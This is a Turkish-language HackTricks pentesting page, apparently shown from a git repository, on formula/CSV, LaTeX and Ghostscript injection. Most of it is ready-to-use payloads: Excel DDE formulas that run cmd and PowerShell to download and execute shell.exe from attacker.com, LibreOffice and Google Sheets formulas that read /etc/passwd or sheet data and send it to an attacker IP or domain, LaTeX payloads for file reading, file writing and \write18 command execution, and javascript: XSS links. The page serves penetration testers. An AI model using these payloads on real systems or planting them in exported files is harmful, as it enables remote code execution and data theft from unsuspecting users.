hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

220 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection
### Bilgi
Eğer **girdi** **CSV dosyası** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya) içinde **yansıtılıyorsa**, kullanıcı dosyayı **açtığında** veya kullanıcı excel sayfasındaki bazı **bağlantılara tıkladığında** **çalıştırılacak** Excel **formülleri** ekleyebilirsiniz.
{% hint style="danger" %}
Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** (birkaç kez) **kullanıcıyı uyaracaktır**; bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yüklemede Sosyal Mühendislik üzerine özel bir çaba sarf edilmelidir.
{% endhint %}
### [Kelimeler Listesi](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**Aşağıdaki örnek, son excel sayfasından içerik çıkarmak ve rastgele konumlara istekler yapmak için çok faydalıdır. Ancak, kullanıcının bağlantıya tıklamasını (ve uyarı istemlerini kabul etmesini) gerektirir.**
Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır.
Bir Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığının CSV enjeksiyon saldırısı ile istismar edildiğini hayal edin. Saldırganın temel amacı, öğretmenlerin öğrenci bilgilerini yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın uygulamaya kötü niyetli bir yük enjekte etmesini içerir; özellikle öğrenci bilgileri için tasarlanmış alanlara zararlı formüller girerek. Saldırı şu şekilde gelişir:
1. **Kötü Niyetli Yükün Enjeksiyonu:**
* Saldırgan bir öğrenci detay formu gönderir ancak bir hesap tablolarında yaygın olarak kullanılan bir formül ekler (örneğin, `=HYPERLINK("<malicious_link>","Click here")`).
* Bu formül, bir hiperlink oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen kötü niyetli bir sunucuya işaret eder.
2. **Tehlikeye Atılan Verilerin Dışa Aktarılması:**
* Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
* CSV dosyasııldığında, hala kötü niyetli yükü içerir. Bu yük, hesap tablosunda tıklanabilir bir hiperlink olarak görünür.
3. **Saldırının Tetiklenmesi:**
* Bir öğretmen, öğrencinin detaylarının meşru bir parçası olduğunu düşünerek hiperlinke tıklar.
* Tıkladığında, hassas veriler (hesap tablosundan veya öğretmenin bilgisayarından gelen bilgiler dahil) saldırganın sunucusuna iletilir.
4. **Verilerin Kaydedilmesi:**
* Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
* Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atar.
### RCE
**Daha fazla ayrıntı için** [**orijinal gönderiyi**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kontrol edin.**
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, rastgele komutlar çalıştırmak için istismar edilebilir. Bunu kullanmak için aşağıdaki ayarların etkinleştirilmesi gerekir:
* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve **Dinamik Veri Değişimi Sunucu Başlatma** seçeneğini etkinleştirin.
Kötü niyetli yükü içeren bir hesap tablosu açıldığında (ve kullanıcı uyarıları kabul ederse), yük çalıştırılır. Örneğin, hesap makinesi uygulamasını başlatmak için yük şöyle olur:
```markdown
=cmd|' /C calc'!xxx
```
Ek komutlar da çalıştırılabilir, örneğin bir dosyayı PowerShell kullanarak indirmek ve çalıştırmak:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc, yerel dosyaları okumak ve veri sızdırmak için kullanılabilir. İşte bazı yöntemler:
* Yerel `/etc/passwd` dosyasının ilk satırını okuma: `='file:///etc/passwd'#$passwd.A1`
* Okunan veriyi saldırgan kontrolündeki bir sunucuya sızdırma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Birden fazla satırı sızdırma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS sızdırma (okunan veriyi saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets, OOB veri sızdırma için istismar edilebilecek işlevler sunar:
* **CONCATENATE**: Dize birleştirir - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSS veya ATOM beslemelerini alır - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Başka bir elektronik tablodan bir hücre aralığını alır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Bir hücreye resim ekler - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
Genellikle internette bulunan ve **LaTeX kodunu PDF'ye dönüştüren** sunucular **`pdflatex`** kullanır.\
Bu program, komut yürütmeyi (dis)engellemek için 3 ana özellik kullanır:
* **`--no-shell-escape`**: `\write18{command}` yapısını **devre dışı bırakır**, texmf.cnf dosyasında etkin olsa bile.
* **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** 'güvenli' bir komut seti ile **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir).
* **`--shell-escape`**: `\write18{command}` yapısını **etkinleştirir**. Komut herhangi bir shell komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaktır.
Ancak, komutları yürütmenin başka yolları da vardır, bu nedenle RCE'yi önlemek için `--shell-restricted` kullanmak çok önemlidir.
### Read file <a href="#read-file" id="read-file"></a>
Enjeksiyonu \[ veya $ gibi sarmalayıcılarla ayarlamanız gerekebilir.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Tek satırlık dosyayı oku
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Çok satırlı dosyayı oku
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Dosya yaz <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Komut yürütme <a href="#command-execution" id="command-execution"></a>
Komutun girişi stdin'e yönlendirilecektir, bunu almak için geçici bir dosya kullanın.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Eğer herhangi bir LaTex hatası alırsanız, kötü karakterler olmadan sonucu almak için base64 kullanmayı düşünün.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) tarafından
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**Kontrol Et** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referanslar
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}